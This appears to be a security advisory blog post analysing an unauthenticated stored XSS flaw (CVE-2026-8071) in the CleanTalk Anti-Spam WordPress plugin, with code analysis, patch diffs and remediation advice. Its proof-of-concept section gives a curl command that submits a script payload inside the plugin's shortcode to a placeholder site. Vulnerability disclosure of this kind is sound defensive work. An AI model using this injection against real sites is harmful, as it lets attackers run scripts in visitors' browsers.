CVE-2026-8071: CleanTalk Anti-Spam Unauthenticated Stored XSS (CVSS 7.2)
Table of Contents
CVE-2026-8071 is a CVSS 7.2 High Unauthenticated Stored Cross-Site Scripting vulnerability in the CleanTalk Anti-Spam. Spam Firewall & Bot protection WordPress plugin. An unauthenticated attacker can inject malicious scripts into pages by exploiting a shortcode bypass in the plugin’s email encoder. Those scripts execute in the browser of any visitor who loads an affected page.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | CleanTalk Anti-Spam. Spam Firewall & Bot protection |
| Plugin Slug | cleantalk-spam-protect |
| CVE ID | CVE-2026-8071 |
| CVSS Score | 7.2 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| Vulnerability Type | Unauthenticated Stored Cross-Site Scripting |
| Affected Versions | <= 6.78 |
| Patched Version | 6.79 |
| Published | June 11, 2026 |
| Researcher | stealthcopter |
| Wordfence Advisory | Link |
Description
The CleanTalk Anti-Spam plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 6.78. The flaw is in the plugin’s Contact Data Encoding (email encoder) feature. Insufficient input sanitization and missing output escaping on the [apbct_encode_data] shortcode allow unauthenticated attackers to inject arbitrary web scripts. Those scripts execute whenever a user accesses an injected page.
Technical Analysis
How the Email Encoder Works
CleanTalk’s email encoder protects email addresses and phone numbers from being harvested by bots. The feature hooks into WordPress’s comment_text filter (and other display hooks) to process content before it reaches the browser.
The encoder registers three filter callbacks on each hook:
| Priority | Callback | Purpose |
|---|---|---|
| 9 | EncodeContentSC::changeContentBeforeEncoderModify() | Extracts [apbct_encode_data] shortcodes, replaces with placeholders |
| 10 | ContactsEncoder::modifyContent() | Encodes email addresses and phone numbers |
| 999 | EncodeContentSC::changeContentAfterEncoderModify() | Restores shortcodes, runs do_shortcode() |
WordPress also applies its own comment_text filters at various priorities: make_clickable (9), wptexturize (10), convert_chars (20), force_balance_tags (25), and wpautop (30).
The Vulnerable Code
The problem is in lib/Cleantalk/ApbctWP/ContactsEncoder/Shortcodes/EncodeContentSC.php, inside changeContentBeforeEncoderModify() (version 6.78):
// VULNERABLE - v6.78
$shortcode_exist_pattern = sprintf('/\[%s\](.*?)\[\/%s\]/s', $this->public_name, $this->public_name);
$content = preg_replace_callback($shortcode_exist_pattern, function ($matches) {
$placeholder = preg_replace('/EE\_\d+/', 'EE_' . (string)$this->shortcode_counter++, $this->exclusion_wrapper);
if (is_null($placeholder)) {
$placeholder = $this->exclusion_wrapper;
}
if (isset($matches[0])) {
// Stores full shortcode including inner content — NO SANITIZATION
$this->shortcode_replacements[$placeholder] = $matches[0];
}
return $placeholder;
}, $content);
The inner content of [apbct_encode_data]...[/apbct_encode_data] is stored in $shortcode_replacements without any sanitization. At priority 999, changeContentAfterEncoderModify() restores the stored value directly into the output:
foreach ($this->shortcode_replacements as $placeholder => $original) {
$content = str_replace($placeholder, $original, $content);
}
return $this->doCallbackAction($content);
doCallbackAction() calls do_shortcode(), which invokes callback() on the inner content. The callback passes it through modifyShortcodeContent(). Non-email parts go through modifyAny() → encodeAny() → constructEncodedSpan():
private function constructEncodedSpan($encoded_string, $obfuscated_string)
{
return "<span
data-original-string='" . $encoded_string . "'
class='apbct-email-encoder'
title='" . htmlspecialchars($this->getTooltip(), ENT_QUOTES, 'UTF-8') . "'>" . $obfuscated_string . "</span>";
}
The $obfuscated_string is placed inside the span without HTML escaping. Obfuscator::processString() exposes the first and last two raw characters of the input:
const STRING_CHARS_TO_SHOW = 2;
public function processString($string)
{
$length = strlen($string);
$first_part = substr($string, 0, static::STRING_CHARS_TO_SHOW);
$last_part = substr($string, $length - static::STRING_CHARS_TO_SHOW, static::STRING_CHARS_TO_SHOW);
$middle_part = str_pad('', $length - static::STRING_CHARS_TO_SHOW * 2, '*');
return $first_part . $middle_part . $last_part;
}
If the input string begins with < or ends with >, those characters appear raw in the HTML output and are interpreted by the browser as markup.
The Shortcode Bypass
The [apbct_encode_data] tag uses square brackets, not HTML angle brackets. WordPress’s wp_kses() comment sanitization strips HTML tags but preserves square-bracket shortcode syntax. A comment containing [apbct_encode_data]PAYLOAD[/apbct_encode_data] passes through kses with the shortcode brackets intact.
When the comment is displayed through comment_text, the filter hook execution order is:
- Priority 9 — CleanTalk extracts the shortcode and stores it raw. The rest of the content becomes a placeholder string.
- Priority 10–30 — WordPress runs
wptexturize,convert_chars,force_balance_tags, andwpautopon the placeholder text. The shortcode content is not touched. - Priority 999 — CleanTalk restores the original, unsanitized shortcode content and calls
do_shortcode().
Because the shortcode inner content is extracted before all WordPress display security filters and re-inserted after all of them, it bypasses the standard WordPress content security pipeline entirely.
Proof of Concept
Disclaimer: This proof of concept is provided for educational and defensive security research only. Test only on systems you own or have explicit written permission to test.
Prerequisites: CleanTalk Anti-Spam ≤ 6.78, with the Contact Data Encoding (email encoder) feature enabled. WordPress must allow visitor comments on at least one post.
Step 1: Submit a comment with the malicious shortcode
WordPress kses strips HTML tags from comment content at submission time. However, HTML entities (<, >) are preserved because they are not HTML tags. The attacker uses entity-encoded HTML as the payload:
TARGET="http://security.test"
POST_ID=1
curl -s -X POST "${TARGET}/wp-comments-post.php" \
--data-urlencode 'comment=[apbct_encode_data]<script>alert(document.domain)</script>[/apbct_encode_data]' \
-d "author=Attacker" \
-d "email=attacker@example.com" \
-d "comment_post_ID=${POST_ID}" \
-d "comment_parent=0" \
-d "submit=Post+Comment" \
-L -o /dev/null -w "HTTP status: %{http_code}\n"
The comment is stored in the database with the entity-encoded payload intact inside the shortcode.
Step 2: Trigger the XSS
Visit the post page where the comment was submitted.
When WordPress renders the comment, the comment_text filter fires. CleanTalk’s encoder extracts the shortcode at priority 9 before wptexturize and force_balance_tags can process it. At priority 999, the raw entity-encoded string is passed to constructEncodedSpan() and inserted directly into the <span> inner content without escaping.
The browser decodes the HTML entities in the span’s innerHTML context and executes alert(document.domain).
Step 3: Verify
Expected result: An alert box shows the site’s domain. Any visitor who loads the page after the comment is stored triggers the same payload — the XSS is persistent (stored).
Patch Analysis
Version 6.79 introduces two independent fixes in changeContentBeforeEncoderModify().
Fix 1: Sanitize the inner shortcode content
-if (isset($matches[0])) {
- $this->shortcode_replacements[$placeholder] = $matches[0];
-}
+if (isset($matches[1], $matches[2], $matches[3])) {
+ $prefix = $matches[1];
+ $entity = $matches[2];
+ $suffix = $matches[3];
+ $entity = Escape::escKsesPost($entity);
+ $this->shortcode_replacements[$placeholder] = $prefix . $entity . $suffix;
+}
The inner content ($entity) is now passed through wp_kses_post() before storage. This strips <script> tags, event handler attributes (onerror, onload, onclick, etc.), and other dangerous HTML. Safe formatting tags like <b> and <em> are preserved. The entity-encoded payload <script>...</script> is also sanitized because wp_kses_post decodes entities before evaluating them.
The regex pattern also changes to capture prefix, entity, and suffix as separate groups, and adds support for shortcode attributes:
-$shortcode_exist_pattern = sprintf('/\[%s\](.*?)\[\/%s\]/s', $this->public_name, $this->public_name);
+$shortcode_exist_pattern = sprintf('/(\[%s(?:\s[^\]]*)?\])([\s\S]*?)(\[\/%s\])/s', $this->public_name, $this->public_name);
Fix 2: Block shortcodes inside HTML attributes
if ($this->isShortcodeInsideHtmlTag($content)) {
return $content;
}
A new isShortcodeInsideHtmlTag() method detects when a shortcode boundary falls inside an HTML attribute. If it does, the extraction step is skipped entirely.
This prevents a mutation-XSS attack where a shortcode placed inside an HTML attribute — for example, <a title="[apbct_encode_data]...[/apbct_encode_data]"> — could cause attribute injection after WordPress text filters like wptexturize() mutate the surrounding markup.
public function isOffsetInsideHtmlTag($content, $offset)
{
$before = substr($content, 0, $offset);
$last_open = strrpos($before, '<');
$last_close = strrpos($before, '>');
return $last_open !== false &&
($last_close === false || $last_open > $last_close);
}
The method checks whether the last < before the shortcode appears after the last >. If so, the offset is inside an open HTML tag.
Timeline
| Date | Event |
|---|---|
| June 11, 2026 | Vulnerability publicly disclosed by Wordfence |
| June 15, 2026 | Advisory last updated |
| June 17, 2026 | This blog post published |
Remediation
Update the CleanTalk Anti-Spam plugin to version 6.79 or later immediately.
If you cannot update right now, disable the Contact Data Encoding (email encoder) feature in the plugin settings. This removes the vulnerable code path while you prepare the upgrade.
To update from the WordPress admin dashboard: go to Plugins → Installed Plugins, find CleanTalk Anti-Spam, and click Update Now.